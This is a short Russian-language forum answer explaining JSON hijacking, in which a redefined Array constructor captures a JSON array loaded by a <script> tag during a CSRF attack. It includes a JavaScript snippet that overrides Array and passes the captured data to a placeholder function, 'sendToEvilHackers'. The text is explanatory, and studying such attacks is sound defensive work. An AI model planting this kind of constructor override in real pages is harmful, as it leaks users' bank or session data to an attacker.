Я думаю, это потому, что конструктор Array () можно переопределить.Однако эта проблема на самом деле не уникальна для массивов.
Я думаю, что атака (или один из возможных способов) выглядит примерно так:
function Array(n) {
var self = this;
setTimeout(function() {
sendToEvilHackers(self);
}, 10);
return this;
}
Браузер (или некоторые браузеры) используютэтот конструктор для [n, n, n]
нотации массива.Поэтому атака CSRF может использовать вашу открытую сессию с вашим банком, ударить по известному URL-адресу JSON тегом <script>
, чтобы извлечь его, а затем poof , которым вы владеете.